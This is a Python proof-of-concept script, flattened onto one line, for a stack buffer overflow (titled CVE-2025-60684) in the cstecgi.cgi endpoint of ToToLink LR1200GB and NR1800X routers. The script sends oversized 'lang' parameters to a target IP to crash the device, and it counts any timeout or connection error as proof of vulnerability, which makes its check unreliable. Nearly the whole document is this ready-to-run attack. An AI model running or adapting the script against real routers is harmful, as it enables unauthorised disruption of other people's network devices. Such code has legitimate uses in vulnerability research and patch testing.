CVE-2025-60684 ToToLink路由器cstecgi.cgi栈缓冲区溢出漏洞

import requests import sys # CVE-2025-60684 PoC - ToToLink Router cstecgi.cgi Stack Buffer Overflow # Target: ToToLink LR1200GB / NR1800X # Vulnerability: Stack buffer overflow via lang parameter in cstecgi.cgi def check_vulnerability(target_ip, target_port=80): """ Check if target is vulnerable to CVE-2025-60684 """ # Generate payload with excessive length to trigger overflow # Adjust length based on buffer size (typically 256-512 bytes) payload = "A" * 600 url = f"http://{target_ip}:{target_port}/cstecgi.cgi" params = {"lang": payload} try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)}") # Send request without waiting for response (may cause crash) response = requests.get(url, params=params, timeout=5) print(f"[+] Response status: {response.status_code}") return True except requests.exceptions.Timeout: print("[!] Request timeout - target may have crashed (vulnerable)") return True except requests.exceptions.ConnectionError: print("[!] Connection failed - target may be down or vulnerable") return True except Exception as e: print(f"[!] Error: {str(e)}") return False def exploit_buffer_overflow(target_ip, target_port=80): """ Exploit function - demonstrates buffer overflow condition """ # Construct overflow payload # Note: Actual exploitation requires ROP chain and proper return address overflow_length = 1024 payload = "lang=" + "B" * overflow_length url = f"http://{target_ip}:{target_port}/cstecgi.cgi" print(f"[*] Attempting buffer overflow with {overflow_length} bytes") try: requests.get(url, params=payload, timeout=3) except: print("[!] Target crashed or unreachable - vulnerability confirmed") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-60684-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 check_vulnerability(target, port)